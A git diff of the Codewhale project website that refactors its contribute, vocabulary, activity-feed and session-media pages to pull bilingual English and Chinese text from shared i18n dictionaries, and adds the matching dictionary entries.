|
||||
: "File issues, improve translations and documentation, and send pull requests to the international Codewhale community.",
|
||||
title: t.metaTitle,
|
||||
description: t.metaDescription,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -70,100 +69,99 @@ const stepsZh = [
|
||||
},
|
||||
];
|
||||
|
||||
const pathsEn = [
|
||||
{
|
||||
title: "Report a bug or compatibility problem",
|
||||
body: "Include your system, Codewhale version, reproduction steps, expected behavior, and any logs you can share safely.",
|
||||
label: "File an issue",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues/new/choose",
|
||||
},
|
||||
{
|
||||
title: "Improve code or tests",
|
||||
body: "Choose a well-bounded problem, make the smallest useful patch, and add a regression test that proves the changed behavior.",
|
||||
label: "Browse open issues",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues",
|
||||
},
|
||||
{
|
||||
title: "Improve documentation or translations",
|
||||
body: "Correct inaccurate guidance, add a practical example, or help a complete language pack stay natural and aligned with the English keys.",
|
||||
label: "Read the localization guide",
|
||||
href: "https://github.com/Hmbown/CodeWhale/blob/main/docs/LOCALIZATION.md",
|
||||
},
|
||||
{
|
||||
title: "Reproduce and review existing work",
|
||||
body: "Verify an issue or pull request with your platform and provider, then share the exact checks and results.",
|
||||
label: "Browse pull requests",
|
||||
href: "https://github.com/Hmbown/CodeWhale/pulls",
|
||||
},
|
||||
];
|
||||
|
||||
const pathsZh = [
|
||||
{
|
||||
title: "报告 bug 或兼容性问题",
|
||||
body: "提供系统信息、Codewhale 版本、复现步骤、期望行为和可公开的日志。",
|
||||
label: "提交 issue",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues/new/choose",
|
||||
},
|
||||
{
|
||||
title: "改进代码或测试",
|
||||
body: "选择一个边界清楚的问题,提交最小补丁,并用回归测试证明修改后的行为。",
|
||||
label: "查看待处理 issues",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues",
|
||||
},
|
||||
{
|
||||
title: "改进文档或翻译",
|
||||
body: "修正不准确的说明、补充实际示例,或帮助完整语言包保持自然且与英文键一致。",
|
||||
label: "阅读本地化指南",
|
||||
href: "https://github.com/Hmbown/CodeWhale/blob/main/docs/LOCALIZATION.md",
|
||||
},
|
||||
{
|
||||
title: "复现和审查现有工作",
|
||||
body: "验证 issue 或 pull request 在你的平台和提供商上的行为,并分享准确的测试结果。",
|
||||
label: "浏览 pull requests",
|
||||
href: "https://github.com/Hmbown/CodeWhale/pulls",
|
||||
},
|
||||
];
|
||||
|
||||
const reviewNotesEn = [
|
||||
"Keep one problem per pull request so the change is easy to test, review, and credit.",
|
||||
"Add tests for new behavior. For documentation fixes, verify commands, configuration names, and the current version against the repository.",
|
||||
"Open an issue before changing authentication, credentials, sandbox policy, release plumbing, branding, or global prompts.",
|
||||
"If a maintainer needs to adapt or harvest a patch, the original contributor remains credited in the commit, changelog, and contributor list.",
|
||||
];
|
||||
|
||||
const reviewNotesZh = [
|
||||
"一个 PR 只解决一个问题,便于测试、审查和保留贡献者署名。",
|
||||
"新增行为应有测试;修正文档时,请核对实际命令、配置名和当前版本。",
|
||||
"修改认证、凭据、沙箱、发布流程、品牌或全局提示词前,请先提交 issue 并确认范围。",
|
||||
"如果维护者需要整理或摘取补丁,原作者仍会在提交、CHANGELOG 和贡献者名单中获得署名。",
|
||||
];
|
||||
|
||||
export default async function ContributePage({ params }: { params: Promise<{ locale: string }> }) {
|
||||
const { locale } = await params;
|
||||
const isZh = locale === "zh";
|
||||
const steps = isZh ? stepsZh : stepsEn;
|
||||
|
||||
const paths = isZh
|
||||
? [
|
||||
{
|
||||
title: "报告 bug 或兼容性问题",
|
||||
body: "提供系统信息、Codewhale 版本、复现步骤、期望行为和可公开的日志。",
|
||||
label: "提交 issue",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues/new/choose",
|
||||
},
|
||||
{
|
||||
title: "改进代码或测试",
|
||||
body: "选择一个边界清楚的问题,提交最小补丁,并用回归测试证明修改后的行为。",
|
||||
label: "查看待处理 issues",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues",
|
||||
},
|
||||
{
|
||||
title: "改进文档或翻译",
|
||||
body: "修正不准确的说明、补充实际示例,或帮助完整语言包保持自然且与英文键一致。",
|
||||
label: "阅读本地化指南",
|
||||
href: "https://github.com/Hmbown/CodeWhale/blob/main/docs/LOCALIZATION.md",
|
||||
},
|
||||
{
|
||||
title: "复现和审查现有工作",
|
||||
body: "验证 issue 或 pull request 在你的平台和提供商上的行为,并分享准确的测试结果。",
|
||||
label: "浏览 pull requests",
|
||||
href: "https://github.com/Hmbown/CodeWhale/pulls",
|
||||
},
|
||||
]
|
||||
: [
|
||||
{
|
||||
title: "Report a bug or compatibility problem",
|
||||
body: "Include your system, Codewhale version, reproduction steps, expected behavior, and any logs you can share safely.",
|
||||
label: "File an issue",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues/new/choose",
|
||||
},
|
||||
{
|
||||
title: "Improve code or tests",
|
||||
body: "Choose a well-bounded problem, make the smallest useful patch, and add a regression test that proves the changed behavior.",
|
||||
label: "Browse open issues",
|
||||
href: "https://github.com/Hmbown/CodeWhale/issues",
|
||||
},
|
||||
{
|
||||
title: "Improve documentation or translations",
|
||||
body: "Correct inaccurate guidance, add a practical example, or help a complete language pack stay natural and aligned with the English keys.",
|
||||
label: "Read the localization guide",
|
||||
href: "https://github.com/Hmbown/CodeWhale/blob/main/docs/LOCALIZATION.md",
|
||||
},
|
||||
{
|
||||
title: "Reproduce and review existing work",
|
||||
body: "Verify an issue or pull request with your platform and provider, then share the exact checks and results.",
|
||||
label: "Browse pull requests",
|
||||
href: "https://github.com/Hmbown/CodeWhale/pulls",
|
||||
},
|
||||
];
|
||||
|
||||
const reviewNotes = isZh
|
||||
? [
|
||||
"一个 PR 只解决一个问题,便于测试、审查和保留贡献者署名。",
|
||||
"新增行为应有测试;修正文档时,请核对实际命令、配置名和当前版本。",
|
||||
"修改认证、凭据、沙箱、发布流程、品牌或全局提示词前,请先提交 issue 并确认范围。",
|
||||
"如果维护者需要整理或摘取补丁,原作者仍会在提交、CHANGELOG 和贡献者名单中获得署名。",
|
||||
]
|
||||
: [
|
||||
"Keep one problem per pull request so the change is easy to test, review, and credit.",
|
||||
"Add tests for new behavior. For documentation fixes, verify commands, configuration names, and the current version against the repository.",
|
||||
"Open an issue before changing authentication, credentials, sandbox policy, release plumbing, branding, or global prompts.",
|
||||
"If a maintainer needs to adapt or harvest a patch, the original contributor remains credited in the commit, changelog, and contributor list.",
|
||||
];
|
||||
const t = getContribute(locale);
|
||||
const textLocale = pickTextLocale(locale);
|
||||
const steps = { en: stepsEn, zh: stepsZh }[textLocale];
|
||||
const paths = { en: pathsEn, zh: pathsZh }[textLocale];
|
||||
const reviewNotes = { en: reviewNotesEn, zh: reviewNotesZh }[textLocale];
|
||||
|
||||
return (
|
||||
<>
|
||||
<PageHeader
|
||||
kicker={isZh ? "参与国际开源社区" : "Contribute to an international open-source project"}
|
||||
title={isZh ? "从一个具体的改进开始。" : "Start with one concrete improvement."}
|
||||
lede={
|
||||
isZh
|
||||
? "Codewhale 欢迎来自不同国家、语言、平台和经验水平的贡献者。清楚的 bug 报告、复现结果、文档修正、翻译和小而完整的代码补丁都会直接帮助项目。"
|
||||
: "Codewhale welcomes contributors across countries, languages, platforms, and experience levels. Clear bug reports, reproduction results, documentation corrections, translations, and small complete patches all move the project forward."
|
||||
}
|
||||
kicker={t.kicker}
|
||||
title={t.title}
|
||||
lede={t.lede}
|
||||
pose="write"
|
||||
actions={
|
||||
<>
|
||||
<Link href="https://github.com/Hmbown/CodeWhale/issues/new/choose" className="btn btn-primary btn-lg">
|
||||
{isZh ? "提交 issue" : "File an issue"}
|
||||
{t.fileIssue}
|
||||
</Link>
|
||||
<Link href="https://github.com/Hmbown/CodeWhale/pulls" className="btn btn-secondary btn-lg">
|
||||
{isZh ? "查看 pull requests" : "Browse pull requests"}
|
||||
{t.browsePulls}
|
||||
</Link>
|
||||
<Link href="https://github.com/Hmbown/CodeWhale/blob/main/CONTRIBUTING.md" className="btn btn-ghost btn-lg">
|
||||
{isZh ? "打开完整贡献指南" : "Open the full contributor guide"}
|
||||
{t.fullGuide}
|
||||
<Icon name="external" className="icon" />
|
||||
</Link>
|
||||
</>
|
||||
@@ -171,7 +169,7 @@ export default async function ContributePage({ params }: { params: Promise<{ loc
|
||||
/>
|
||||
|
||||
<div className="page-body">
|
||||
<Section id="contribute-paths" title={isZh ? "选择适合你的贡献方式。" : "Choose the contribution that fits."}>
|
||||
<Section id="contribute-paths" title={t.pathsTitle}>
|
||||
<div className="grid-2">
|
||||
{paths.map((path) => (
|
||||
<Link key={path.title} href={path.href} className="tile">
|
||||
@@ -186,7 +184,7 @@ export default async function ContributePage({ params }: { params: Promise<{ loc
|
||||
</div>
|
||||
</Section>
|
||||
|
||||
<Section id="contribute-workflow" title={isZh ? "从问题到可审查的补丁。" : "From a problem to a reviewable patch."}>
|
||||
<Section id="contribute-workflow" title={t.workflowTitle}>
|
||||
<ol className="steps">
|
||||
{steps.map((step, index) => (
|
||||
<li key={step.n}>
|
||||
@@ -204,12 +202,8 @@ export default async function ContributePage({ params }: { params: Promise<{ loc
|
||||
|
||||
<Section
|
||||
id="contribute-review"
|
||||
title={isZh ? "让修改容易验证。" : "Make the change easy to verify."}
|
||||
scope={
|
||||
isZh
|
||||
? "审查者需要看到问题、修改理由、测试证据和剩余风险。范围越清楚,反馈通常越快。"
|
||||
: "A reviewer needs the problem, the reason for the change, test evidence, and remaining risk. Clear scope usually leads to clearer feedback."
|
||||
}
|
||||
title={t.reviewTitle}
|
||||
scope={t.reviewScope}
|
||||
>
|
||||
<ul className="group-card" role="list">
|
||||
{reviewNotes.map((note) => (
|
||||
@@ -223,12 +217,8 @@ export default async function ContributePage({ params }: { params: Promise<{ loc
|
||||
|
||||
<Section
|
||||
id="contribute-dev"
|
||||
title={isZh ? "构建并运行相关检查。" : "Build and run the relevant checks."}
|
||||
scope={
|
||||
isZh
|
||||
? "仓库使用 stable Rust。先运行你所修改部分的测试,再运行格式检查、Clippy 和完整工作区测试。"
|
||||
: "The repository uses stable Rust. Run the focused test for your change first, followed by formatting, Clippy, and the workspace suite."
|
||||
}
|
||||
title={t.devTitle}
|
||||
scope={t.devScope}
|
||||
>
|
||||
<pre tabIndex={0} className="code-block">
|
||||
{`git clone https://github.com/YOUR_USERNAME/CodeWhale.git
|
||||
|
||||
@@ -7,42 +7,36 @@ import {
|
||||
PRODUCT_TERMS,
|
||||
ROUTE_IDENTITY,
|
||||
} from "@/lib/content/vocabulary";
|
||||
import { getDocsVocabulary, pickText } from "@/lib/i18n/dictionaries";
|
||||
import { buildPageMetadata } from "@/lib/page-meta";
|
||||
|
||||
export async function generateMetadata({ params }: { params: Promise<{ locale: string }> }) {
|
||||
const { locale } = await params;
|
||||
const isZh = locale === "zh";
|
||||
const t = getDocsVocabulary(locale);
|
||||
return buildPageMetadata({
|
||||
path: "/docs/vocabulary",
|
||||
locale,
|
||||
title: isZh ? "产品名词 · Codewhale 文档" : "Vocabulary · Codewhale Docs",
|
||||
description: isZh
|
||||
? "确切的产品名词:Fleet、Workflow、Lane、Runtime、Advisor,Plan / Work / Operate 与权限姿态,以及请求→实际思考档位、路由来源与测量原则。"
|
||||
: "The exact product nouns: Fleet, Workflow, Lane, Runtime, Advisor, Plan / Work / Operate and permission postures, plus requested→effective reasoning, routing source, and measurement principles.",
|
||||
title: t.metaTitle,
|
||||
description: t.metaDescription,
|
||||
});
|
||||
}
|
||||
|
||||
export default async function VocabularyPage({ params }: { params: Promise<{ locale: string }> }) {
|
||||
const { locale } = await params;
|
||||
const isZh = locale === "zh";
|
||||
const bodyClass = isZh
|
||||
? "text-ink-soft leading-[1.9] tracking-wide"
|
||||
: "text-ink-soft leading-relaxed";
|
||||
const t = getDocsVocabulary(locale);
|
||||
|
||||
return (
|
||||
<section className="space-y-10">
|
||||
<section id="overview" className="scroll-mt-32">
|
||||
<h1 className="font-display text-3xl mb-1">{isZh ? "产品名词" : "Vocabulary"}</h1>
|
||||
<p className={`${bodyClass} mt-3`}>
|
||||
{isZh
|
||||
? "这些名词在全站、TUI 和收据里含义完全一致。名词本身不翻译;每条定义都与仓库中的公共事实矩阵逐字对应。"
|
||||
: "These nouns mean the same thing on this site, in the TUI, and in receipts. The nouns themselves are never translated; every definition matches the public fact matrix in the repository verbatim."}
|
||||
<h1 className="font-display text-3xl mb-1">{t.title}</h1>
|
||||
<p className={`${t.bodyClassName} mt-3`}>
|
||||
{t.lead}
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section id="execution-nouns" className="scroll-mt-32">
|
||||
<h2 className="font-display text-2xl mb-1">
|
||||
{isZh ? "执行名词" : "Execution nouns"}
|
||||
{t.executionHeading}
|
||||
</h2>
|
||||
<div className="hairline-t mt-4">
|
||||
{PRODUCT_TERMS.map((row) => (
|
||||
@@ -50,10 +44,10 @@ export default async function VocabularyPage({ params }: { params: Promise<{ loc
|
||||
<h3 className="font-display text-xl">
|
||||
{row.term}{" "}
|
||||
<span className="text-sm text-ink-mute font-normal">
|
||||
= {isZh ? row.short.zh : row.short.en}
|
||||
= {pickText(row.short, locale)}
|
||||
</span>
|
||||
</h3>
|
||||
<p className={`${bodyClass} mt-1 text-sm`}>{isZh ? row.long.zh : row.long.en}</p>
|
||||
<p className={`${t.bodyClassName} mt-1 text-sm`}>{pickText(row.long, locale)}</p>
|
||||
</section>
|
||||
))}
|
||||
</div>
|
||||
@@ -61,19 +55,17 @@ export default async function VocabularyPage({ params }: { params: Promise<{ loc
|
||||
|
||||
<section id="control-nouns" className="scroll-mt-32">
|
||||
<h2 className="font-display text-2xl mb-1">
|
||||
{isZh ? "模式与权限姿态" : "Modes and permission postures"}
|
||||
{t.controlHeading}
|
||||
</h2>
|
||||
<p className={`${bodyClass} mt-3`}>
|
||||
{isZh
|
||||
? "模式(Tab 循环,输入框空闲时)决定可见的交互方式;权限姿态(Shift+Tab 循环)决定工具执行前询问的激进程度。两者正交。"
|
||||
: "Modes (Tab, composer idle) decide the visible interaction; permission postures (Shift+Tab) decide how aggressively tools ask before executing. The two are orthogonal."}
|
||||
<p className={`${t.bodyClassName} mt-3`}>
|
||||
{t.controlLead}
|
||||
</p>
|
||||
<div className="hairline-t mt-4">
|
||||
{[...CONTROL_MODES, ...PERMISSION_POSTURES].map((row) => (
|
||||
<section key={row.term} className="py-4 hairline-b">
|
||||
<h3 className="font-display text-xl">{row.term}</h3>
|
||||
<p className={`${bodyClass} mt-1 text-sm`}>
|
||||
{isZh ? row.description.zh : row.description.en}
|
||||
<p className={`${t.bodyClassName} mt-1 text-sm`}>
|
||||
{pickText(row.description, locale)}
|
||||
</p>
|
||||
</section>
|
||||
))}
|
||||
@@ -82,16 +74,14 @@ export default async function VocabularyPage({ params }: { params: Promise<{ loc
|
||||
|
||||
<section id="route-identity" className="scroll-mt-32">
|
||||
<h2 className="font-display text-2xl mb-1">
|
||||
{isZh
|
||||
? "路由身份:provider · 模型 · 请求→实际思考档位 · 来源"
|
||||
: "Route identity: provider · model · requested→effective reasoning · source"}
|
||||
{t.routeHeading}
|
||||
</h2>
|
||||
<div className="hairline-t mt-4">
|
||||
{ROUTE_IDENTITY.map((row) => (
|
||||
<section key={row.term} className="py-4 hairline-b">
|
||||
<h3 className="font-display text-xl">{row.term}</h3>
|
||||
<p className={`${bodyClass} mt-1 text-sm`}>
|
||||
{isZh ? row.description.zh : row.description.en}
|
||||
<p className={`${t.bodyClassName} mt-1 text-sm`}>
|
||||
{pickText(row.description, locale)}
|
||||
</p>
|
||||
</section>
|
||||
))}
|
||||
@@ -100,39 +90,35 @@ export default async function VocabularyPage({ params }: { params: Promise<{ loc
|
||||
|
||||
<section id="advisory-role" className="scroll-mt-32">
|
||||
<h2 className="font-display text-2xl mb-1">
|
||||
{isZh ? "咨询角色" : "Advisory role"}
|
||||
{t.advisoryHeading}
|
||||
</h2>
|
||||
<div className="hairline-t mt-4 py-4 hairline-b">
|
||||
<h3 className="font-display text-xl">{ADVISORY_ROLE.term}</h3>
|
||||
<p className={`${bodyClass} mt-1 text-sm`}>
|
||||
{isZh ? ADVISORY_ROLE.description.zh : ADVISORY_ROLE.description.en}
|
||||
<p className={`${t.bodyClassName} mt-1 text-sm`}>
|
||||
{pickText(ADVISORY_ROLE.description, locale)}
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="measurement" className="scroll-mt-32">
|
||||
<h2 className="font-display text-2xl mb-1">
|
||||
{isZh ? "测量原则" : "Measurement principles"}
|
||||
{t.measurementHeading}
|
||||
</h2>
|
||||
<ul className="mt-4 space-y-3">
|
||||
{MEASUREMENT_PRINCIPLES.map((principle) => (
|
||||
<li key={principle.en} className={`${bodyClass} text-sm`}>
|
||||
{isZh ? principle.zh : principle.en}
|
||||
<li key={principle.en} className={`${t.bodyClassName} text-sm`}>
|
||||
{pickText(principle, locale)}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<p className={`${bodyClass} mt-4 text-sm`}>
|
||||
<p className={`${t.bodyClassName} mt-4 text-sm`}>
|
||||
<StatusBadge kind="unavailable" locale={locale} />{" "}
|
||||
{isZh
|
||||
? "基准排行榜:本站没有,也不会在没有路由身份与测量工具链的情况下出现。"
|
||||
: "Benchmark leaderboard: none on this site, and none will appear without route identity and a measurement harness attached."}
|
||||
{t.leaderboardNote}
|
||||
</p>
|
||||
</section>
|
||||
|
||||
{/* Maintainer pointer: kept out of the rendered copy (experience mark 5). */}
|
||||
<div hidden data-source-note={isZh
|
||||
? "来源文档:docs/FLEET.md, docs/MODES.md, docs/public-surface-facts.json · 名词文案来自 web/lib/content/vocabulary.ts;更新时请同步修改 docs-map.ts。"
|
||||
: "Source documents: docs/FLEET.md, docs/MODES.md, docs/public-surface-facts.json · Vocabulary copy lives in web/lib/content/vocabulary.ts; update docs-map.ts when changing."} />
|
||||
<div hidden data-source-note={t.sourceNote} />
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -6,7 +6,7 @@ import { FeedRetry } from "@/components/feed-retry";
|
||||
import { EmptyState, ErrorState, UnavailableState } from "@/components/surface-state";
|
||||
import { loadFeed, type FeedLoadStatus } from "@/lib/github";
|
||||
import { getEnv } from "@/lib/kv";
|
||||
import { getStates } from "@/lib/i18n/dictionaries";
|
||||
import { fill, getFeed, getStates, splitToken } from "@/lib/i18n/dictionaries";
|
||||
import { buildPageMetadata } from "@/lib/page-meta";
|
||||
import type { FeedItem } from "@/lib/types";
|
||||
|
||||
@@ -14,20 +14,18 @@ export const revalidate = 600;
|
||||
|
||||
export async function generateMetadata({ params }: { params: Promise<{ locale: string }> }) {
|
||||
const { locale } = await params;
|
||||
const isZh = locale === "zh";
|
||||
const t = getFeed(locale);
|
||||
return buildPageMetadata({
|
||||
path: "/feed",
|
||||
locale,
|
||||
title: isZh ? "动态 · Codewhale" : "Activity · Codewhale",
|
||||
description: isZh
|
||||
? "来自 Hmbown/CodeWhale GitHub 仓库的议题、合并请求和发布的实时动态。"
|
||||
: "Live feed of issues, pull requests, and releases mirrored from the Hmbown/CodeWhale GitHub repo.",
|
||||
title: t.metaTitle,
|
||||
description: t.metaDescription,
|
||||
});
|
||||
}
|
||||
|
||||
export default async function FeedPage({ params }: { params: Promise<{ locale: string }> }) {
|
||||
const { locale } = await params;
|
||||
const isZh = locale === "zh";
|
||||
const t = getFeed(locale);
|
||||
|
||||
const env = await getEnv();
|
||||
let feed: FeedItem[] = [];
|
||||
@@ -65,55 +63,34 @@ export default async function FeedPage({ params }: { params: Promise<{ locale: s
|
||||
<UnavailableState locale={locale} compact action={retry} />
|
||||
);
|
||||
|
||||
const copy = isZh
|
||||
? {
|
||||
title: "动态",
|
||||
titleAside: "Activity",
|
||||
lede: (
|
||||
<>
|
||||
来自{" "}
|
||||
<Link href="https://github.com/Hmbown/CodeWhale" className="link">Hmbown/CodeWhale</Link>
|
||||
{" "}的议题与合并请求镜像,每十分钟刷新一次。点击任意条目跳转至 GitHub。
|
||||
</>
|
||||
),
|
||||
pulls: "合并请求",
|
||||
issues: "议题",
|
||||
shown: (n: number) => `${n} 条`,
|
||||
actions: ["提交议题", "提交合并请求", "发起讨论"],
|
||||
}
|
||||
: {
|
||||
title: "Activity",
|
||||
titleAside: "动态",
|
||||
lede: (
|
||||
<>
|
||||
Follow issues and pull requests from{" "}
|
||||
<Link href="https://github.com/Hmbown/CodeWhale" className="link">Hmbown/CodeWhale</Link>,
|
||||
mirrored here and refreshed every ten minutes. Select any item to open it on GitHub.
|
||||
</>
|
||||
),
|
||||
pulls: "Pull requests",
|
||||
issues: "Issues",
|
||||
shown: (n: number) => `${n} shown`,
|
||||
actions: ["Open an issue", "Open a pull request", "Start a discussion"],
|
||||
};
|
||||
const actionLinks: { href: string; icon: IconName }[] = [
|
||||
{ href: "https://github.com/Hmbown/CodeWhale/issues/new/choose", icon: "alert" },
|
||||
{ href: "https://github.com/Hmbown/CodeWhale/compare", icon: "git-pull-request" },
|
||||
{ href: "https://github.com/Hmbown/CodeWhale/discussions/new", icon: "message" },
|
||||
// The repository link is typeset between the lede's halves, so a locale
|
||||
// may place the {repo} token anywhere.
|
||||
const ledeParts = splitToken(t.lede, "repo");
|
||||
const lede = (
|
||||
<>
|
||||
{ledeParts[0]}
|
||||
<Link href="https://github.com/Hmbown/CodeWhale" className="link">Hmbown/CodeWhale</Link>
|
||||
{ledeParts[1]}
|
||||
</>
|
||||
);
|
||||
const actionLinks: { href: string; icon: IconName; label: string }[] = [
|
||||
{ href: "https://github.com/Hmbown/CodeWhale/issues/new/choose", icon: "alert", label: t.openIssue },
|
||||
{ href: "https://github.com/Hmbown/CodeWhale/compare", icon: "git-pull-request", label: t.openPull },
|
||||
{ href: "https://github.com/Hmbown/CodeWhale/discussions/new", icon: "message", label: t.startDiscussion },
|
||||
];
|
||||
const columns = [
|
||||
{ id: "feed-pulls", title: copy.pulls, items: pulls, status: pullsStatus },
|
||||
{ id: "feed-issues", title: copy.issues, items: issues, status: issuesStatus },
|
||||
{ id: "feed-pulls", title: t.pulls, items: pulls, status: pullsStatus },
|
||||
{ id: "feed-issues", title: t.issues, items: issues, status: issuesStatus },
|
||||
];
|
||||
|
||||
return (
|
||||
<>
|
||||
<PageHeader
|
||||
seal="动"
|
||||
title={copy.title}
|
||||
titleAside={copy.titleAside}
|
||||
titleAsideLang={isZh ? "en" : "zh"}
|
||||
lede={copy.lede}
|
||||
title={t.title}
|
||||
titleAside={t.titleAside}
|
||||
titleAsideLang={t.titleAsideLang}
|
||||
lede={lede}
|
||||
pose="browse"
|
||||
/>
|
||||
<div className="page-body">
|
||||
@@ -122,7 +99,7 @@ export default async function FeedPage({ params }: { params: Promise<{ locale: s
|
||||
<section key={column.id} className="feed-column" aria-labelledby={column.id}>
|
||||
<div className="feed-column-head">
|
||||
<h2 id={column.id}>{column.title}</h2>
|
||||
<span className="page-meta tabular">{copy.shown(column.items.length)}</span>
|
||||
<span className="page-meta tabular">{fill(t.shownCount, { count: column.items.length })}</span>
|
||||
</div>
|
||||
{column.items.length > 0 ? (
|
||||
<ul className="feed-items" role="list">
|
||||
@@ -139,11 +116,11 @@ export default async function FeedPage({ params }: { params: Promise<{ locale: s
|
||||
|
||||
<section className="page-section">
|
||||
<ul className="grid-3" role="list">
|
||||
{actionLinks.map((link, index) => (
|
||||
{actionLinks.map((link) => (
|
||||
<li key={link.href}>
|
||||
<Link href={link.href} className="dir-row feed-action">
|
||||
<span className="dir-mark" aria-hidden="true"><Icon name={link.icon} /></span>
|
||||
<span className="dir-text"><span className="dir-title">{copy.actions[index]}</span></span>
|
||||
<span className="dir-text"><span className="dir-title">{link.label}</span></span>
|
||||
<span className="dir-action" aria-hidden="true"><Icon name="external" /></span>
|
||||
</Link>
|
||||
</li>
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
*/
|
||||
|
||||
import { REDUCED_MOTION_POLICY, type MediaAsset } from "@/lib/media-manifest";
|
||||
import { pickText } from "@/lib/i18n/dictionaries";
|
||||
import { getDocsShell, pickText } from "@/lib/i18n/dictionaries";
|
||||
import { StatusBadge } from "./status-badge";
|
||||
|
||||
const MEDIA_PLAN_DOC =
|
||||
@@ -27,7 +27,7 @@ const MEDIA_PLAN_DOC =
|
||||
const REPO_BLOB_BASE = "https://github.com/Hmbown/CodeWhale/blob/main";
|
||||
|
||||
export function SessionMedia({ asset, locale = "en" }: { asset: MediaAsset; locale?: string }) {
|
||||
const isZh = locale === "zh";
|
||||
const t = getDocsShell(locale);
|
||||
|
||||
if (asset.status === "pending") {
|
||||
return (
|
||||
@@ -40,16 +40,14 @@ export function SessionMedia({ asset, locale = "en" }: { asset: MediaAsset; loca
|
||||
<div className="session-media-stage">
|
||||
<StatusBadge kind="pending" locale={locale} label={asset.pendingLabel} />
|
||||
<p className="session-media-pending-note">
|
||||
{isZh
|
||||
? "还没有录像。录好之后会放在这里,附字幕、文字稿和可选的 GIF 下载。"
|
||||
: "There is no recording yet. When there is, it goes here with captions, a transcript, and an optional GIF download."}
|
||||
{t.mediaPendingNote}
|
||||
</p>
|
||||
</div>
|
||||
<figcaption className="session-media-caption">
|
||||
<strong>{pickText(asset.title, locale)}</strong>
|
||||
<span>{pickText(asset.description, locale)}</span>
|
||||
<a href={MEDIA_PLAN_DOC} target="_blank" rel="noreferrer">
|
||||
{isZh ? "录制计划与验收清单 ↗" : "Recording plan and acceptance checklist ↗"}
|
||||
{t.mediaPlanLink}
|
||||
</a>
|
||||
</figcaption>
|
||||
</figure>
|
||||
@@ -95,12 +93,12 @@ export function SessionMedia({ asset, locale = "en" }: { asset: MediaAsset; loca
|
||||
<span>{pickText(asset.description, locale)}</span>
|
||||
{asset.gifFallback && (
|
||||
<a href={`/${asset.gifFallback.src}`}>
|
||||
{isZh ? "GIF 下载回退(无视频环境)" : "GIF fallback download (no-video environments)"}
|
||||
{t.mediaGifFallback}
|
||||
</a>
|
||||
)}
|
||||
{asset.transcript && (
|
||||
<a href={`${REPO_BLOB_BASE}/${asset.transcript}`} target="_blank" rel="noreferrer">
|
||||
{isZh ? "文字稿 ↗" : "Transcript ↗"}
|
||||
{t.mediaTranscript}
|
||||
</a>
|
||||
)}
|
||||
</figcaption>
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import { pickText } from "@/lib/i18n/dictionaries";
|
||||
import { Icon } from "./icon";
|
||||
/**
|
||||
* "See how it decides" — a terminal-styled pane that illustrates how the
|
||||
@@ -65,8 +66,10 @@ export const SCENES: Scene[] = [
|
||||
},
|
||||
];
|
||||
|
||||
/** The label every scene carries (see the note at the top of this file). */
|
||||
const ILLUSTRATION = { en: "Illustration", zh: "示意" };
|
||||
|
||||
export function ThinkingTrace({ locale = "en" }: { locale?: string }) {
|
||||
const isZh = locale === "zh";
|
||||
return (
|
||||
<div className="grid-3">
|
||||
{SCENES.map((s, i) => (
|
||||
@@ -74,9 +77,9 @@ export function ThinkingTrace({ locale = "en" }: { locale?: string }) {
|
||||
<figcaption className="trace-head">
|
||||
<span className="status status-accent">
|
||||
<span className="status-dot" aria-hidden="true" />
|
||||
{isZh ? "示意" : "Illustration"}
|
||||
{pickText(ILLUSTRATION, locale)}
|
||||
</span>
|
||||
<span className="trace-context">{isZh ? s.context.zh : s.context.en}</span>
|
||||
<span className="trace-context">{pickText(s.context, locale)}</span>
|
||||
</figcaption>
|
||||
<pre className="trace-body">{s.trace}</pre>
|
||||
<p className="trace-cites">
|
||||
@@ -86,7 +89,7 @@ export function ThinkingTrace({ locale = "en" }: { locale?: string }) {
|
||||
</p>
|
||||
<p className="trace-decision">
|
||||
<Icon name="arrow-right" className="icon icon-flip" />
|
||||
<span>{isZh ? s.decision.zh : s.decision.en}</span>
|
||||
<span>{pickText(s.decision, locale)}</span>
|
||||
</p>
|
||||
</figure>
|
||||
))}
|
||||
|
||||
@@ -216,7 +216,11 @@
|
||||
"helpIssue": "Report a docs problem ↗",
|
||||
"nextHeading": "Next",
|
||||
"noteLabel": "Note:",
|
||||
"onThisPage": "On this page"
|
||||
"onThisPage": "On this page",
|
||||
"mediaPendingNote": "There is no recording yet. When there is, it goes here with captions, a transcript, and an optional GIF download.",
|
||||
"mediaPlanLink": "Recording plan and acceptance checklist ↗",
|
||||
"mediaGifFallback": "GIF fallback download (no-video environments)",
|
||||
"mediaTranscript": "Transcript ↗"
|
||||
},
|
||||
"docs-hooks": {
|
||||
"metaTitle": "Run commands on events · Codewhale Docs",
|
||||
|
||||
@@ -216,7 +216,11 @@
|
||||
"helpIssue": "报告文档问题 ↗",
|
||||
"nextHeading": "下一步",
|
||||
"noteLabel": "注意:",
|
||||
"onThisPage": "本页内容"
|
||||
"onThisPage": "本页内容",
|
||||
"mediaPendingNote": "还没有录像。录好之后会放在这里,附字幕、文字稿和可选的 GIF 下载。",
|
||||
"mediaPlanLink": "录制计划与验收清单 ↗",
|
||||
"mediaGifFallback": "GIF 下载回退(无视频环境)",
|
||||
"mediaTranscript": "文字稿 ↗"
|
||||
},
|
||||
"docs-hooks": {
|
||||
"metaTitle": "在事件发生时运行命令 · Codewhale 文档",
|
||||
|
||||
@@ -15,16 +15,19 @@ import {
|
||||
EN_DOCS_AUTH,
|
||||
EN_DOCS_TRUST,
|
||||
EN_DOCS_REVIEW,
|
||||
EN_DOCS_VOCABULARY,
|
||||
EN_COMPUTER_USE,
|
||||
EN_CHANGELOG,
|
||||
EN_DOCS_SHELL,
|
||||
EN_DOCS_TROUBLESHOOTING,
|
||||
EN_DIGEST,
|
||||
EN_FEED,
|
||||
EN_FAQ,
|
||||
EN_HOME,
|
||||
EN_LEGAL_PRIVACY,
|
||||
